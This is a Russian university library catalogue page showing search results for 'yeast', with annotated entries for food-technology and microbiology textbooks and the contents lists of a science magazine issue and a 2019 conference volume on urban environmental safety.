Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

67 пользователей



 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=ДРОЖЖИ")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 33
1. 
Введение в технологию продуктов питания [Текст] / Н. Г. Кульнева [и др.], 2012. - 117 с.
Держатели документа (Информация об экземплярах) 

В практикуме изложены теоретические сведения и характеристика исследуемых объектов, порядок и методики выполнения лабораторных работ, вопросы для самоконтроля, список рекомендуемой литературы.

Разработан в соответствии с требованиями ФГОС ВПО третьего поколения подготовки бакалавров по направлению 260100 «Продукты питания из растительного сырья». Предназначен для закрепления теоретических знаний дисциплин профессионального цикла. Может быть использован для бакалавров направлений 080200 «Менеджмент» и 151000 «Технологические машины и оборудование», специализирующихся в области пищевых производств.

2. 
Красникова, Людмила Васильевна. Микробиология [Текст] / Л. В. Красникова, 2012. - 292, [1] с.
Держатели документа (Информация об экземплярах) 

Учебное пособие написано в соответствии с действующей программой дисциплины "Микробиология". В пособии представлены основные разделы общей микробиологии: морфология, физиология и классификация микроорганизмов, условия роста, их участие в круговороте веществ в природе. Показана роль специфической микрофлоры, используемой в производстве пищевых продуктов; рассмотрены виды порчи продуктов, вызываемой микроорганизмами. Изложены основные предпосылки возникновения отравлений при употреблении пищевых продуктов, контаминированных определенными видами микроорганизмов.

Предназначено для студентов, обучающихся специальностям: 260202 "Технология хлеба, кондитерских и макаронных изделий"; 260204 "Технология бродильных производств и виноделие"; 260504 "Технология консервов и пищеконцентратов"; 260501 "Технология продуктов общественного питания" и для бакалавров направления 260100 "Технология продуктов питания".

3. 
Тюменцева, Евгения Юрьевна. Основы микробиологии [Текст] / Е. Ю. Тюменцева, 2015. - 122 с.
Держатели документа (Информация об экземплярах) 

Цель пособия - помочь студентам в более глубоком и осознанном усвоении учебной программы курса "Основы микробиологии" через практические занятия в лаборатории.

В данном пособии приведены основные понятия по дисциплине "Основы микробиологии", цель лабораторных работ, материалы и реактивы, методика выполнения лабораторных работ.

Учебное пособие подготовлено в соответствии с Федеральным государственным образовательным стандартом и действующей программой по направлению подготовки 100800.62 Товароведение, 260800.62 Технология продукции и организация общественного питания.

Пособие предназначено для студентов факультета экономики и сервисных технологий, обучающихся на дневной и заочной формах обучения, а также всем, кто интересуется методикой выполнения исследований по микробиологии.

Полный текст
4. 
Тюменцева, Евгения Юрьевна. Основы микробиологии [Электронный ресурс] / Е. Ю. Тюменцева, 2015. - 1 r=on-line. - 122 с.
Держатели документа (Информация об экземплярах) 

Цель пособия - помочь студентам в более глубоком и осознанном усвоении учебной программы курса "Основы микробиологии" через практические занятия в лаборатории.

В данном пособии приведены основные понятия по дисциплине "Основы микробиологии", цель лабораторных работ, материалы и реактивы, методика выполнения лабораторных работ.

Учебное пособие подготовлено в соответствии с Федеральным государственным образовательным стандартом и действующей программой по направлению подготовки 100800.62 Товароведение, 260800.62 Технология продукции и организация общественного питания.

Пособие предназначено для студентов факультета экономики и сервисных технологий, обучающихся на дневной и заочной формах обучения, а также всем, кто интересуется методикой выполнения исследований по микробиологии.

Полный текст
5. 
Мармузова, Людмила Викторовна. Технология хлебопекарного производства. Сырье и материалы [Текст] / Л. В. Мармузова ; дар. В. В. Арсеньев, 2008. - 285, [1] с.
Держатели документа (Информация об экземплярах) 

Рассмотрены виды сырья для производства хлебобулочных изделий, его состав и свойства, технологические процессы и операции на отдельных стадиях изготовления и хранения хлеба, используемое при этом оборудование, в том числе комплексные механизированные линии. Приведены методы оценки качества сырья, полуфабрикатов и готовой продукции, рецептуры и нормы выхода хлебобулочных изделий, условия и сроки их хранения.

Для учащихся образовательных учреждений, учреждений начального профессионального образования. Может быть использован при профессиональном обучении на производстве и в центрах занятости.

6. 
Практикум по технологии хлеба, кондитерских и макаронных изделий (технология хлебобулочных изделий) [Текст] / Л. П. Пащенко [и др.] ; ред. Л. П. Пащенко ; дар. В. В. Арсеньев, 2007. - 214, [1] с.
Держатели документа (Информация об экземплярах) 

В практикуме приведены лабораторные работы по оценке качества сырья, полуфабрикатов, изделий хлебопекарного производства с применением ПК для обработки экспериментальных данных по стандартным программам. Описаны оригинальные установки, разработанные авторами, по исследованию свойств полуфабрикатов, позволяющие регулировать качество изделий в технологическом потоке. Даны варианты ситуационных задач, деловые игры и контрольные вопросы для самостоятельной подготовки студентов.

Для студентов вузов, обучающихся по специальности 260202 "Технология хлеба, кондитерских и макаронных изделий". Пособие может быть полезно технологам хлебопекарных предприятий, слушателям курсов повышения квалификации и аспирантам.

7. 
Химия и жизнь - XXI век. - Журнал, 2011г. № 11
Оглавление 
  • Клещенко, Е. Новые тайны древнего иммунитета / Е. Клещенко. - с.2-6
  • Резник, Н. Л. Иммунология в ожидании прорыва / Н. Л. Резник. - с.6-12
  • Федотов, В. Г. Невидимый источник видимого света / В. Г. Федотов. - с.13
  • Стрельникова, Л. Желтые, зеленые, красные / Л. Стрельникова. - с.14-19
  • Комаров, С. М. Из мозга в поджелудочную железу / С. М. Комаров. - с.20
  • Комаров, С. М. Витамин от диабета / С. М. Комаров. - с.20
  • Комаров, С. М. Водород в нанолепестках / С. М. Комаров. - с.20
  • Комаров, С. М. Электрический кристалл / С. М. Комаров. - с.20
  • Комаров, С. М. Транзистор киборга / С. М. Комаров. - с.21
  • Комаров, С. М. Полимерный пьезоэлектрик / С. М. Комаров. - с.21
  • Комаров, С. М. Диатомовая фабрика / С. М. Комаров. - с.21
  • Комаров, С. М. Дрожжи и каротин / С. М. Комаров. - с.21
  • Вакулка, А. Снова о диоксинах / А. Вакулка. - с.22-25
  • Трегер, Ю. А. Диоксины в России / Ю. А. Трегер. - с.25-27
  • Сутоцкая, Е. Лунные новости / Е. Сутоцкая. - с.28-29
  • Комаров, С. М. Тьма, движущая мир / С. М. Комаров. - с.30-35
  • Эрлих, Г. Кирхгоф, ферменты, и химия будущего / Г. Эрлих. - с.36-41
  • Карташов, А. Игра слов / А. Карташов. - с.42-43
  • Давыдов, В. Н. Байки старого препода / В. Н. Давыдов. - с.44-46
  • Нанотехнологии и наноматериалы. - с.47
  • Васильев, Д. Б. Наука в зоопарке / Д. Б. Васильев. - с.48-51
  • Захаров-Гезехус, И. А. Красота генетики / И. А. Захаров-Гезехус. - с.52-53
  • Ручкина, Н. Виноград / Н. Ручкина. - с.54-55
  • Звонарев, С. Покидая колыбель / С. Звонарев. - с.56-59
  • Московский Дом Книги. - с.60
  • Московский Дом Книги. - с.60
  • Московский Дом Книги. - с.60
  • Московский Дом Книги. - с.60
  • Московский Дом Книги. - с.60
  • MEMBRANA. ru. - с.61
  • Культивар. - с.61
  • Рейтинг учителей и преподавателей России. - с.61
  • WoWiWe Instruction Co.. - с.61
  • The human touch of chemistry. - с.61
  • Анофлес, С. Про зомби / С. Анофлес. - с.62
  • Мотыляев, А. Не в деньгах счастье / А. Мотыляев. - с.61
  • Демина, М. Операция "Кевлар" / М. Демина. - с.64-65
Держатели документа (Информация об экземплярах) 
8. 
Безопасность городской среды [Электронный ресурс] / ОмГТУ, 2019. - 1 o=эл. опт. диск (CD-ROM)
Оглавление 
  • Воронкова, Н. А. Сапропель как средство экологического земледелия / Н. А. Воронкова [и др.]. - с.4-8. - Библиогр. в конце ст. : табл.
    Другие авторы: Балабанова Н. Ф., Волкова В. А., Дороненко В. Д., Цыганова Н. А.
    Кл. слова: Минеральное удобрение, Последействие, Урожайность
  • Воронкова, Н. А. Влияние предпосевной обработки микроэлементами на прорастание семян яровой пшеницы / Н. А. Воронкова [и др.]. - с.9-14. - Библиогр. в конце ст. : табл.
    Другие авторы: Волкова В. А., Балабанова Н. Ф., Дороненко В. Д., Цыганова Н. А.
    Кл. слова: Доза
  • Воронкова, Н. А. Влияние ультрафиолетового излучения на посевные качества семян пшеницы / Н. А. Воронкова, И. Л. Мальгина. - с.15-21. - Библиогр. в конце ст. : рис.
    Кл. слова: Яровая пшеница, Предпосевная обработка, Энергия прорастания
  • Заика, К. А. Модернизация локальной системы очистки сточных вод оторганических компонентов при производстве фенола в Публичном Акционерном Обществе «Омский каучук» / К. А. Заика, М. Н. Вагапова, И. А. Войтов. - с.22-25.. - Библиогр. в конце ст.
  • Клёстер, А. Е. Способы переработки попутного нефтяного газа / А. Е. Клёстер, М. В. Васина. - с.26-31. - Библиогр. в конце ст. : табл.
    Кл. слова: Добыча нефти, Компонентный состав, Утилизация
  • Андреева, Т. Ю. Реагентный метод очистки сточных вод с гальванических производств / Т. Ю. Андреева, Д. К. Савельев, П. Е. Нор. - с.32-35. - Библиогр. в конце ст. : табл.
    Кл. слова: Флокулянт, Коагулянт
  • Ловинецкая, С. Б. Факторы, влияющие на содержание нефтепродуктов в почвах придорожных территорий города / С. Б. Ловинецкая, А. В. Синдирева. - с.36-39. - Библиогр. в конце ст. : граф.
    Кл. слова: Загрязнение почв
  • Васина, М. В. Проблема переработки остатков кислого гудрона на нефтеперерабатывающих предприятиях / М. В. Васина, Д. Ю. Уманский. - с.40-43. - Библиогр. в конце ст. : рис.
    Кл. слова: Пруды-накопители, Утилизация
  • Костырев, Ю. А. Оптимизация работы сооружений водоподготовки «Есиль су» Северо-Казахстанской области / Ю. А. Костырев, И. Ю. Шлёкова. - с.44-48.. - Библиогр. в конце ст.
    Кл. слова: Реагент, Очистка воды, Обеззараживание
  • Логинов, С. Д. Анализ методов строительства водозаборных сооружений / С. Д. Логинов, В. А. Морозова, М. В. Тарасова. - с.49-53. - Библиогр. в конце ст. : рис.
    Кл. слова: Питьевое водоснабжение, Экологическая обстановка
  • Миллер, Ю. Е. Способы обнаружения непроизводительных расходов и утечек воды / Ю. Е. Миллер, В. Л. Миргородский, М. В. Тарасова. - с.54-59. - Библиогр. в конце ст. : рис.
    Кл. слова: Водохозяйственный комплекс, Водоотводящая сеть, Беспроводной видеоконтроль
  • Оспанова, Г. К. Влияние промышленности на атмосферный воздух города Караганды / Г. К. Оспанова, А. Мырзабек. - с.60-61. - Библиогр. в конце ст. : табл.
    Кл. слова: Промышленные выбросы, Загрязнение
  • Чачина, С. Б. Вермирекультивация почв, загрязненных кислым гудроном с использованием микробиологического препарата «Байкал» / С. Б. Чачина, А. К. Мажитова. - с.62-66. - Библиогр. в конце ст. : табл.
    Кл. слова: Биодеструкция, Биоремедация
  • Чачина, С. Б. Биоремедиация нефтезагрязненных почв с использованием дождевых червей Eiseniafetida и с использованием микробиологических препаратов «Байкал-ЭМ и «Тамир» / С. Б. Чачина, Ю. С. Салыкина. - с.67-74. - Библиогр. в конце ст. : табл.
    Кл. слова: Калифорнийский червь, Биологическая рекультивация, Углеводород
  • Фролова, А. А. Проблемы внедрения экологического мониторинга на промышленных предприятиях / А. А. Фролова. - с.75-77.. - Библиогр. в конце ст.
    Кл. слова: Экологический контроль, Формы контроля
  • Брагина, С. А. Оптимизация схемы обеззараживания и аналитического контроля на сооружениях очистки сточных вод / С. А. Брагина. - с.78-83. - Библиогр. в конце ст. : табл.
    Кл. слова: Дизенфектант
  • Гопченко, А. Н. Оптимизация схемы подачи коагулянта на очистных сооружениях хозяйственно-бытовых сточных вод / А. Н. Гопченко, А. В. Ненев. - с.84-90. - Библиогр. в конце ст. : рис.
    Кл. слова: Физико-химическая очистка
  • Чачина, С. В. Рекультивация почв, загрязненных битумом, с использованием дождевых червей Dendrobaenaveneta и микробиологических препаратов / С. В. Чачина, М. В. Михайлиди, А. В. Плеханова. - с.91-97. - Библиогр. в конце ст. : граф.
    Кл. слова: Биоазложение, Извлечение углеводородов, Контаминация грунта
  • Гаврилова, А. С. Биоиндикация почв Омской области и города Омска / А. С. Гаврилова. - с.98-101.. - Библиогр. в конце ст.
    Кл. слова: Почвогрунт, Тяжелые металлы, Загрязнение
  • Васина, М. В. Обезвоживание осадка после очистки сточных вод на городских очистных сооружениях канализации / М. В. Васина, М. Н. Кравец, А. А. Иевлева. - с.102-105. - Библиогр. в конце ст. : рис.
    Кл. слова: Обезвреживание, Декантер
  • Ребрун, А. Н. Способ отчистки сточных вод от нефтепродуктов / А. Н. Ребрун, В. Ю. Тыдельский. - с.106-108. - Библиогр. в конце ст. : табл.
    Кл. слова: Доочистка
  • Антонова, В. Л. Об актуальности проектирования одежды со светоотражающими элементами / В. Л. Антонова [и др.]. - с.109-112.. - Библиогр. в конце ст.
    Другие авторы: Хораськина Н. А., Орлова А. А., Леонова Е. В.
    Кл. слова: Безопасность дорожного движения, Спортивная одежда, Современные материалы
  • Таванчева, О. А. Культурно-оздоровительная среда городского парка (по примеру парка «Краснодар») / О. А. Таванчева. - с.113-116. - Библиогр. в конце ст. : фот. цв.
    Кл. слова: Средовой дизайн, Ландшафт, Зонирование территории
  • Чувак, В. А. Проектирование коммерческого предприятия по многоступенчатой переработке старой одежды / В. А. Чувак. - с.117-121. - Библиогр. в конце ст. : граф.
  • Карпова, О. В. Безопасность и комфорт в организации рабочего пространства / О. В. Карпова. - с.122-126. - Библиогр. в конце ст. : граф.
    Кл. слова: Здоровье, Продуктивность
  • Филатова, Е. В. Особенности проектирования костюма для людей, относящихся к геронтогруппе / Е. В. Филатова, В. В. Лагутина. - с.127-131. - Библиогр. в конце ст. : фот. цв.
    Кл. слова: Дизайн одежды, Безопасность, Эстетичность
  • Гордиенко, В. С. Инновационные технологии в производстве тканей и нетканых полотен / В. С. Гордиенко. - с.132-137. - Библиогр. в конце ст. : фот.
    Кл. слова: Ткани будущего, Обработка ткани
  • Ахметова, М. А. Одежда для детей: комфорт и безопасность / М. А. Ахметова. - с.138-143. - Библиогр. в конце ст. : рис.
    Кл. слова: Детская одежда
  • Филатова, Е. В. Современные технологии и инновации в производстве спецодежды для экстремальных условий низких температур / Е. В. Филатова, А. Д. Емельянова. - с.144-149. - Библиогр. в конце ст. : рис.
    Кл. слова: Крайний Север, Профессиональная одежда
  • Булатова, А. Р. Современные безопасные технологии в спортивной одежде / А. Р. Булатова. - с.150-155. - Библиогр. в конце ст. : рис.
    Кл. слова: Материал
  • Леонова, А. А. Безопасные технологии в современном текстильном производстве / А. А. Леонова. - с.156-160. - Библиогр. в конце ст. : рис.
    Кл. слова: Нанотехнологии, Биоразлогаемый, 3-D печать
  • Черепанова, Д. А. Психоэмоциональные свойства цвета как средства безопасности / Д. А. Черепанова. - с.161-167. - Библиогр. в конце ст. : табл.
  • Филатова, Е. В. Популяризация направления DIY текстильных изделий для безопасности экологии / Е. В. Филатова, А. С. Соломатина. - с.168-173. - Библиогр. в конце ст. : фот. цв.
    Кл. слова: Сделай сам, Ручная работа, Декорирование
  • Заливина, П. В. Обувь. Комфорт и безопасность / П. В. Заливина. - с.174-177. - Библиогр. в конце ст. : граф.
    Кл. слова: Удобство
  • Жукова, В. В. Мода и здоровье / В. В. Жукова. - с.178-181. - Библиогр. в конце ст. : рис.
    Кл. слова: Гардероб
  • Баевская, А. Е. Спецодежда и униформа. Важные аспекты безопасности данных костюмов и их эстетическая составляющая / А. Е. Баевская. - с.182-186. - Библиогр. в конце ст. : рис.
    Кл. слова: Технические требования, Безопасность работника, Опасная профессия
  • Чачина, С. Б. Биоремедиация почв, загрязненных мазутом при комплексном применении вермикультуры E. fetida и биопрепаратов «Байкал», «Восток», «Тамир» / С. Б. Чачина, Е. П. Чачина. - с.187-193. - Библиогр. в конце ст. : табл.
    Кл. слова: Дождевые черви
  • Чачина, С. Б. Биоремедиация нефтезагрязненных почв с использованием дождевых червей E. fetida, E. andrei и D. veneta и микробиологических препаратов «Байкал –ЭМ1», «Тамир» и «Восток» / С. Б. Чачина, В. А. Черенко, Д. А. Юмакулова. - с.194-200. - Библиогр. в конце ст. : граф.
    Кл. слова: Биодеградация, Рекультивация, Субстрат
  • Чачина, С. Б. Выживаемость и репродуктивный потенциал дождевых червей E. fetida, E. andrei, D. veneta в почве, загрязненной дизельным топливом в присутствии микробиологических препаратов «Байкал», «Тамир», «Восток» / С. Б. Чачина, Е. В. Блохина, А. В. Хатмуллина. - с.201-206. - Библиогр. в конце ст. : табл.
    Кл. слова: Рекультивация, Биоремидация, Загрязнение почвы
  • Евдокимов, Н. С. Барда спиртовая как субстрат для микробиологической переработки / Н. С. Евдокимов [и др.]. - с.207-210. - Библиогр. в конце ст. : табл.
    Другие авторы: Самарская Ю. В., Абдрахманова А. С., Агаева Ю. В.
    Кл. слова: Дрожжи р. Candida, Дрожжи р. Rhodosporidium, Кормовой белок
  • Пестова, О. А. Фиторемедиация почв в условиях городской среды / О. А. Пестова. - с.211-214. - Библиогр. в конце ст. : табл.
    Кл. слова: Ресурсы, Биоремедиация, Восстановление
  • Бобарыкина, А. А. Методы переработки мусора в Омске / А. А. Бобарыкина, Е. О. Реховская. - с.215-217. - Библиогр. в конце ст. : рис.
    Кл. слова: Утилизация, Окружающая среда, Полигоны
  • Ровенских, А. С. Исследование физико-химических свойств растворов поверхностно-активных веществ и их адсорбции на твердых адсорбентах / А. С. Ровенских, Е. Г. Шубенкова. - с.218-223. - Библиогр. в конце ст. : граф.
    Кл. слова: Поверхностное натяжение
  • Чачина, С. Б. Биологическая рекультивация почв, загрязненных дизельным топливом в присутствии микробиологического препарата «Байкал» / С. Б. Чачина, Ж. К. Сулейманова, С. А. Лебедева. - с.224-228. - Библиогр. в конце ст. : граф.
    Кл. слова: Загрязненные почвы, Дождевые черви
  • Чачина, С. Б. Получение биогаза, биодизеля из органического сырья / С. Б. Чачина, Д. А. Юмакулова, В. А. Черенко. - с.229-234. - Библиогр. в конце ст. : табл.
    Кл. слова: Биотопливо, Сбраживание
  • Мотуз, А. Д. Мониторинг состояния атмосферного воздуха города на примере Краснодарского края / А. Д. Мотуз, М. Ш. Мгеян. - с.235-241.. - Библиогр. в конце ст.
    Кл. слова: Урбосистема, Загрязнение, Экологические проблемы
  • Бобарыкина, А. А. Экологически чистый метод переработки отходов по технологии Green BLAZE / А. А. Бобарыкина, Е. О. Реховская. - с.242-244. - Библиогр. в конце ст. : фот. цв.
    Кл. слова: Утилизация, Окружающая среда
  • Букреева, Т. А Причины возникновения и пути предотвращения экологической опасности электромагнитного излучения / Т. А Букреева, В. Е. Сердюкова. - с.245-251.. - Библиогр. в конце ст.
    Кл. слова: Фактор риска, Соты, Поведение пчел
  • Майстришин, И. С. Локальная очистка поверхностного стока с автомобильных дорог в пределах водоохранных зон / И. С. Майстришин, И. Ю. Шлекова. - с.252-256. - Библиогр. в конце ст. : табл.
    Кл. слова: Очистные сооружения, Очистка сточных вод
  • Соколовский, Д. В. Анализ безопасности при проектировании системы водоснабжения / Д. В. Соколовский, И. Г. Ушакова. - с.257-262.. - Библиогр. в конце ст.
    Кл. слова: Гидравлический удар, Дезинфекция
  • Соловьев, С. А. Численность и распределения авиационно опасных видов птиц на территории ОАО «Омский аэропорт» в современный период / С. А. Соловьев, И. А. Швидко, С. С. Соловьев. - с.263-268. - Библиогр. в конце ст. : граф.
  • Соловьев, С. А. Эколого-этологические характеристики птиц участников авиационных происшествий и инцидентов на ОАО «Омский аэропорт» и его окрестностях: сообщение 1 – канюк Buteobuteo (Linnaeus, 1758) / С. А. Соловьев, И. А. Швидко, С. С. Соловьев. - с.269-273.. - Библиогр. в конце ст.
    Кл. слова: Территории
  • Соловьев, С. А. Эколого-этологические характеристики птиц участников авиационных происшествий и инцидентов на ОАО «Омский аэропорт» и его окрестностях: серая куропатка Perdixperdix (Linnaeus, 1758) и хохотунья Larus cachinnans pallas, 1811 / С. А. Соловьев, И. А. Швидко, С. С. Соловьев. - с.274-279. - Библиогр. в конце ст. : граф.
    Кл. слова: Территории
  • Мусралинова, А. Х. Ресурсосбережение и его оценка населением / А. Х. Мусралинова, Т. А. Линдт. - с.280-285. - Библиогр. в конце ст. : граф.
    Кл. слова: Водосбережение, Природные ресурсы, Энергосбережение
  • Боброва, Г. В. Вопросы организации охраны окружающей среды в высших учебных заведениях / Г. В. Боброва, С. В. Белькова. - с.286-290.. - Библиогр. в конце ст.
    Кл. слова: Допустимые выбросы, Норматив, Негативное воздействие
  • Чачина, С. Б. Воздействие микробиологических препаратов «Байкал», «Тамир», «Восток» на репродуктивный потенциал дождевых червей в почве, загрязненной кислым гудроном / С. Б. Чачина, М. Е. Ткаченко, Е. П. Чачина. - с.291-296. - Библиогр. в конце ст. : граф.
    Кл. слова: Нефтезагрязненная почва, Биоремедиация
  • Евдокимов, Н. С. К вопросу активации дрожжей / Н. С. Евдокимов, А. С. Абдрахманова, Ю. В. Агаева. - с.297-302. - Библиогр. в конце ст. : табл.
    Кл. слова: Спиртовая барда, Утилизация
  • Евдокимов, Н. С. Сравнительная оценка степени сбраживания барды / Н. С. Евдокимов, Ю. В. Агаева, А. С. Абдрахманова. - с.303-306. - Библиогр. в конце ст. : табл.
    Кл. слова: Спиртовая барда, Микробиологическая переработка, Кормовой белок
  • Янович, К. В. Основные цели и задачи программы модернизации системы обращения с отходами производства и потребления в Министерстве Обороны Российской Федерации / К. В. Янович, А. А. Демьянов, С. А. Блинов. - с.307-311. - Библиогр. в конце ст. : рис.
    Кл. слова: Экономические показатели, Твердые коммунальные отходы
  • Янович, К. В. Комплексная оценка модернизации системы обращения с отходами производства и потребления в военных городках / К. В. Янович, А. Е. Руденко, А. А. Демьянов. - с.312-317.. - Библиогр. в конце ст.
    Кл. слова: Экономическая эффективность, Экономические показатели, Коммунальные отходы
  • Зенкевич, М. Ю. Анализ современных методов переработки твердых бытовых отходов с целью использования в военных городках МО РФ / М. Ю. Зенкевич, А. А. Демьянов, Д. А. Бъядовский. - с.318-322.. - Библиогр. в конце ст.
    Кл. слова: Отходы производства и потребления, Экономические показатели, Сжигание бытового мусора
  • Янович, К. В. Обоснование необходимости реализации ведомственной целевой программы по переработке твердых бытовых отходов на объектах МО РФ / К. В. Янович, А. А. Демьянов, В. Н. Сопот. - с.323-328.. - Библиогр. в конце ст.
    Кл. слова: Экономические показатели, Сжигание бытового мусора, Твердое топливо RDF
  • Вьюхина, А. С. Современные проблемы озеленения городской территории / А. С. Вьюхина, А. Б. Ешмагамбетова. - с.329-333.. - Библиогр. в конце ст.
    Кл. слова: Современный подход, Городская среда, Благоустройство
  • Самарская, Ю. В. Содержание тяжелых металлов в почве города Омск / Ю. В. Самарская. - с.334-336. - Библиогр. в конце ст. : табл.
    Кл. слова: Экология, Свинец, Железо
  • Байкенова, Г. Г. Оценка экологического состояния атмосферного воздуха г. Балхаш / Г. Г. Байкенова, А. Вишневская. - с.337-341.. - Библиогр. в конце ст. : граф.
    Кл. слова: Загрязнение, Окружающая среда
  • Жерносек, А. В. Проблема внедрения системы селективного сбора бытовых отходов в России / А. В. Жерносек. - с.342-345. - Библиогр. в конце ст. : табл.
    Кл. слова: Переработка, Сортировка
  • Мухина, В. В. Варианты рассеивания неорганизованных источников в зависимости от высоты / В. В. Мухина, С. В. Белькова. - с.346-350. - Библиогр. в конце ст. : табл.
    Кл. слова: Загрязнение окружающей среды, Организованные источники, Источник воздействия
  • Подрезова, А. Ю. Дни недели как фактор осложнения экологической обстановки / А. Ю. Подрезова. - с.351-353. - Библиогр. в конце ст. : табл.
    Кл. слова: Загрязнение атмосферы, Выбросы, Автомобильный транспорт
  • Евсеева, М. Е. Создание системы замкнутого водооборота на промышленном предприятии / М. Е. Евсеева, С. В. Белькова. - с.354-360. - Библиогр. в конце ст. : фот. цв.
    Кл. слова: Очистка сточных вод
  • Дузбаева, Н. М. Оценка цитологических изменений организма в условиях промышленного города / Н. М. Дузбаева, Г. А. Турарова. - с.361-366. - Библиогр. в конце ст. : табл.
    Кл. слова: Химическая нагрузка, Неинвазивный метод, Риноцитограмма
  • Троценко, И. А. Проектирование стационарного снегоплавильного пункта совмещенного со сливной станцией в городе Омске / И. А. Троценко, Р. Г. Шамсутдинов, И. А. Шамсутдинов. - с.367-373. - Библиогр. в конце ст. : табл.
    Кл. слова: Экологическая обстановка, Инвестиции
  • Бойко, А. Н. Очистка сточных вод от ионов шестивалентного хрома / А. Н. Бойко, А. Н. Ребрун. - с.374-377.. - Библиогр. в конце ст.
    Кл. слова: Гальваническое производство
  • Садыбекова, Н. К. Проблема загрязнения окружающей среды бытовыми отходами / Н. К. Садыбекова, Н. И. Бучель, П. Е. Нор. - с.378-381.. - Библиогр. в конце ст.
    Кл. слова: Рециклинг, Утилизация, Сортировка отходов
  • Гоголева, Н. А. Мониторинг фенолов в водных объектах по природным зонам Омской области за 2015-2017 гг. / Н. А. Гоголева. - с.382-387. - Библиогр. в конце ст. : граф.
  • Банченко, В. И. Оценка состояния водных ресурсов города Омска / В. И. Банченко [и др.]. - с.388-392.. - Библиогр. в конце ст.
    Другие авторы: Шумарина В. В., Нор П. Е., Гаглоева А. Е.
    Кл. слова: Иртыш, Омь, Реки
  • Пропп, О. В. / О. В. Пропп, И. В. Онопченко
  • Чачина, С. Б. Биологическая рекультивация почв, загрязненных мазутом, с использованием вермикультуры дождевых червей Dendrobenaveneta и микробиологических препаратов «Байкал-ЭМ», «Тамир», «Восток» / С. Б. Чачина, Е. Ю. Верба, А. В. Плеханова. - с.399-407. - Библиогр. в конце ст. : табл.
    Кл. слова: Микроорганизмы
  • Кубрина, Л. В. Лиственные и хвойные виды древесных растений как биоиндикаторы природной среды города Омска / Л. В. Кубрина, С. А. Бокбаева. - с.408-412.. - Библиогр. в конце ст.
    Кл. слова: Состояние атмосферы, Флуктуирующая асимметрия
  • Гынча, Л. В. Научно-методические рекомендации по формированию экологической культуры в условиях перехода к "Зеленой экономике" в различных сферах общества / Л. В. Гынча, Е. В. Симбирцева, А. Б. Ешмагамбетова. - с.413-417.. - Библиогр. в конце ст.
  • Ковальковская, Н. О. Понятие «культура безопасного труда в машиностроительной отрасли» / Н. О. Ковальковская, В. С. Сердюк. - с.418-423. - Библиогр. в конце ст. : рис.
  • Шиповалова, В. В. Анализ результатов специальной оценки условий труда (на примере организации газовой отрасли) / В. В. Шиповалова, Е. С. Денисова. - с.424-426. - Библиогр. в конце ст. : рис.
    Кл. слова: Охрана труда, Здоровье, Безопасность
  • Ветрова, Е. С. Обеспечение экологической безопасности при прокладке газопровода / Е. С. Ветрова, С. В. Белькова. - с.427-429.. - Библиогр. в конце ст.
    Кл. слова: Воздействие, Окружающая среда, Мероприятия
  • Каргаполова, Е. О. Система управления чрезвычайными ситуациями в нефтехимической отрасли / Е. О. Каргаполова, Г. В. Кравченко, А. Ю. Шувалова. - с.430-434. - Библиогр. в конце ст. : рис.
    Кл. слова: Авария, Система управления, Безопасность
  • Ткаченко, К. Е. Оценка влияния различных способов реконструкции подводных переходов магистральных нефтепроводов на окружающую среду / К. Е. Ткаченко, Н. Л. Ряполова. - с.435-439. - Библиогр. в конце ст. : рис.
    Кл. слова: Воздействие на окружающую среду
  • Бъядовский, Д. А. Обеспечение экологической безопасности при использовании сжиженного природного газа в подземных хранилищах / Д. А. Бъядовский, А. А. Демьянов, И. В. Попов. - с.440-444.. - Библиогр. в конце ст.
    Кл. слова: Резервуары хранения, Пожаро-взрывобезопасность
  • Шиповалова, В. В. Анализ состояния условий труда работников, занятых на обрабатывающих производствах / В. В. Шиповалова, Е. С. Денисова. - с.445-448. - Библиогр. в конце ст. : граф.
    Кл. слова: Производственный травматизм, Несчастные случаи, Безопасность
  • Демьянов, А. А. Использование санитарно-гигиенических модулей вооруженных сил Франции в полевых условиях / А. А. Демьянов, В. П. Булай, А. И. Патрикеев. - с.449-545. - Библиогр. в конце ст. : фот. цв.
    Кл. слова: Технические средства, Гигиенический прицеп, Душевые модули
  • Чернорай, М. Д. Исследование электромагнитных излучений на рабочих местах преподавателей в высшем учебном заведении / М. Д. Чернорай, И. Е. Демин. - с.455-459. - Библиогр. в конце ст. : табл.
    Кл. слова: Безопасность труда, Фоновые электромагнитные поля
  • Шиповалова, В. В. Влияние производственного шума на здоровье человека и мероприятия по его снижению / В. В. Шиповалова, Е. С. Денисова. - с.460-463. - Библиогр. в конце ст. : граф.
    Кл. слова: Охрана труда, Безопасность
  • Колпакова, Т. В. Отказ от курения электронных сигарет, как способ сохранения здоровья работающей молодежи / Т. В. Колпакова, В. В. Утюганова. - с.464-467.. - Библиогр. в конце ст.
    Кл. слова: Курение, Вейп, Охрана труда
  • Кулешов, В. В. Cравнительные результаты применения методики «Чек индекс» для оценки и управления профессиональными рисками / В. В. Кулешов, В. С. Сердюк. - с.468-474. - Библиогр. в конце ст. : табл.
    Кл. слова: Охрана труда, Государственная инспекция труда
  • Истомина, Н. В. Оценка воздействия на растительный и животный мир при строительстве промышленных объектов / Н. В. Истомина, М. В. Васина. - с.475-477.. - Библиогр. в конце ст.
    Кл. слова: Негативное воздействие
  • Богомолова, А. В. Роль М. В. Ломоносова в формировании физической и коллоидной химии как науки / А. В. Богомолова. - с.478-480.. - Библиогр. в конце ст.
    Кл. слова: Эксперименты, Теория
  • Жерносек, А. В. Проблема утилизации люминесцентных ламп / А. В. Жерносек, Е. О. Реховская. - с.481-485. - Библиогр. в конце ст. : табл.
    Кл. слова: Метод демеркуризации, Пункт сбора, Ртутьсодержащие соединения
  • Шахова, Ю. Г. Безопасность городской среды и оценка профессиональных рисков / Ю. Г. Шахова. - с.486-488.. - Библиогр. в конце ст.
    Кл. слова: Охрана труда, Условия труда, Управление
  • Червенчук, И. В. Модель хранения структурированных однородных данных для построения мониторинга / И. В. Червенчук. - с.489-493. - Библиогр. в конце ст. : рис.
    Кл. слова: Анализ данных, Деревья, База данных
  • Бадюк, Д. С. Информационная безопасность в социальных сетях / Д. С. Бадюк, И. Ю. Шрейнер. - с.494-495.. - Библиогр. в конце ст.
    Кл. слова: Персональные данные
